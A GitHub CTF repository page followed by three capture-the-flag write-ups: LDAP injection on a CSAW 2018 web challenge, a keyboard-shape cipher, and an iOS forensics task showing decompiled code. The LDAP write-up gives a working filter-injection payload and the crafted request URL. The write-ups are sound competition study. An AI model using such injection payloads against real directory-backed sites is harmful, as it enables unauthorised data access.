<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/twisted-fun/CTFs/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":149132615,"originating_url":"https://github.com/twisted-fun/CTFs/tree/master/CSAW18/PWN_400","user_id":null}}" data-hydro-click-hmac="27997191387b0ec419991b363a761301f5cd0ca6c57d394abb8a6dfe92d0c5c1"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/twisted-fun/CTFs/refs" cache-key="v0:1537192407.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="dHdpc3RlZC1mdW4vQ1RGcw==" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/twisted-fun/CTFs/refs" cache-key="v0:1537192407.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="dHdpc3RlZC1mdW4vQ1RGcw==" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTFs</span></span></span><span>/</span><span><span>CSAW18</span></span><span>/</span>PWN_400<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTFs</span></span></span><span>/</span><span><span>CSAW18</span></span><span>/</span>PWN_400<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/twisted-fun/CTFs/tree-commit/f3fd456235cce466fe36b46de8eb4eb40a6cdf2b/CSAW18/PWN_400" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3">ย </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/twisted-fun/CTFs/file-list/master/CSAW18/PWN_400"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>.โ.</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>sploit.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7">ย </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text">ย </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> ยฉ 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You canโt perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
# CSAW CTF 2018: Ldab
## Description
> dab> http://web.chal.csaw.io:8080
The website seems to be a list of employees. There's a search bar, which we probably want to exploit.
## Solution
The first hint was in the title ("Ldab" โ LDAP). The second hint came from noticing that the results table was empty when typing random queries ("asdf", quotes, etc), but empty _and truncated_ when typing `(` or `)`. A third hint could be found by noticing that `*` returned all results (which made me think of globbing, but wasn't).
A quick search for LDAP vulnerabilities wields [this page](https://www.owasp.org/index.php/Testing_for_LDAP_Injection_(OTG-INPVAL-006)) from the OWASP Wiki, which conveniently lists the syntax for LDAP search queries, common operators, and the way it could be exploited.
We have to guess the format of the query in the PHP code, assuming our input is concatenated somewhere in the middle without any escaping.The column names are not very user-friendly, so we can assume these are directly the field names on which the query is written.
Finally, we use `*` and a boolean OR to bypass the original query's restrictions:
```*))(|(GivenName=*```
This search returns one more "employee", which has the flag!
```http://web.chal.csaw.io:8080/index.php?search=*%29%29%28%7C%28GivenName%3D*
Employees flag{ld4p_inj3ction_i5_a_th1ng} Man Flag fman``` |
# Message - 50
I just typed this secret [message](./message.txt) with my new encoding algorithm.
## Solution
The message consists of lowercase letters, a few digits, periods, commas and spaces. It starts out with `wsxcvasdfghrfvbnhyt...`. This string is a concatenation of `wsxcv`, `asdfgh`, `rfvbnhyt`. Why did I split the message in this way? Well, these letters are adjacent to each other in the `qwerty-style` keyboard layout.
We notice that these strings appear a lot of times in the message so looks like we need to substitute each one with something more meaningful. Now, if we trace out the motion of the letters on the keyboard, `wsxcv` looks like an `L`, `asdfgh` is probably `_` and `rfvbnhyt` looks like an `O`. Let's decrypt more and see what we get:```wsxcv -> Lrfvbnhyt -> Omnbvcdrtghu -> Rwsxcde -> ?zaqwdrtgb -> M
wsx -> Inbvcxswefr -> ?iuyhnbv -> Swsxcvfr -> Uzaqwdrtgb -> M
asdfgh, qwerty, zxcvbn -> _```
Turns out our guess is right! Ignoring the underscores, the first two words are `LOR?M I?SUM` which is obviously the popular dummy text `LOREM IPSUM`!
Replacing the strings with the letters in this manner, we obtain the final decrypted message:
LOREM IPSUM IS SIMPLY DUMMY TEXT OF THE PRINTING AND TYPESETTING INDUSTRY LOREM IPSUM HAS BEEN THE INDUSTRY'S STANDARD DUMMY TEXT EVER SINCE THE 1500S, WHEN AN UNKNOWN PRINTER TOOK A GALLEY OF TYPE AND SCRAMBLED IT TO MAKE A TYPE SPECIMEN BOOK IT HAS SURVIVED NOT ONLY FIVE CENTURIES, BUT ALSO THE LEAP INTO ELECTRONIC TYPESETTING, REMAINING ESSENTIALLY UNCHANGED IT WAS POPULARISED IN THE 1960S WITH THE RELEASE OF LETRASET SHEETS CONTAINING LOREM IPSUM PASSAGES, AND MORE RECENTLY WITH DESKTOP PUBLISHING SOFTWARE LIKE ALDUS PAGEMAKER INCLUDING VERSIONS OF LOREM IPSUM DCTF{B66ECAAA90AD05DF5DAB33D71A8F70934408F3A5847A4C5C38DB75891B0F0E32}LOREM IPSUM IS SIMPLY DUMMY TEXT OF THE PRINTING AND TYPESETTING INDUSTRY LOREM IPSUM HAS BEEN THE INDUSTRY'S STANDARD DUMMY TEXT EVER SINCE THE 1500S, WHEN AN UNKNOWN PRINTER TOOK A GALLEY OF TYPE AND SCRAMBLED IT TO MAKE A TYPE SPECIMEN BOOK IT HAS SURVIVED NOT ONLY FIVE CENTURIES, BUT ALSO THE LEAP INTO ELECTRONIC TYPESETTING, REMAINING ESSENTIALLY UNCHANGED IT WAS POPULARISED IN THE 1960S WITH THE RELEASE OF LETRASET SHEETS CONTAINING LOREM IPSUM PASSAGES, AND MORE RECENTLY WITH DESKTOP PUBLISHING SOFTWARE LIKE ALDUS PAGEMAKER INCLUDING VERSIONS OF LOREM IPSUM.
And we have our flag:**`DCTF{B66ECAAA90AD05DF5DAB33D71A8F70934408F3A5847A4C5C38DB75891B0F0E32}`** |
# CSAW CTF 2018: whyOS
## Description
Forensics, 300 points.
> Have fun digging through that one. No device needed.>> Note: the flag is not in flag{} format
We are given a huge `console.log` log file (185087 lines), as well as the package for an iPhone app.
## Solution
Quickly searching for `flag` or so in the log file doesn't wield immediate results, so we'll return to it later.
Digging into the package, we see various interesting files:
- Two small binaries, `control` and `debian-binary`, which I assume are part of this packaging format, and can be ignored.- Various `.plist` files that do not give the flag, but contain references to a "flag" UI element (probably a text input).- `whyOSsettings.bundle`, which finally contains the `whyOSsettings` binary.
Opening the binary in Hopper (or another disassembler), we see that it uses standard Objective-C methods. This confirms we are looking at an iOS app, or something similar.There's a promising method called `setFlag`, which decompiles to something like this, using Hopper:
```void -[CSAWRootListController setflag](void * self, void * _cmd) { sp = sp - 0x30; r0 = *self; r0 = [r0 alloc]; r0 = [r0 initWithContentsOfFile:@"/var/mobile/Library/Preferences/com.yourcompany.whyos.plist"]; var_10 = r0; if ([var_10 objectForKey:@"flag", @"flag"] != 0x0) { var_2C = [var_10 objectForKey:@"flag", r1]; } else { var_2C = @""; } NSLog(@"%@", var_2C); return;}```
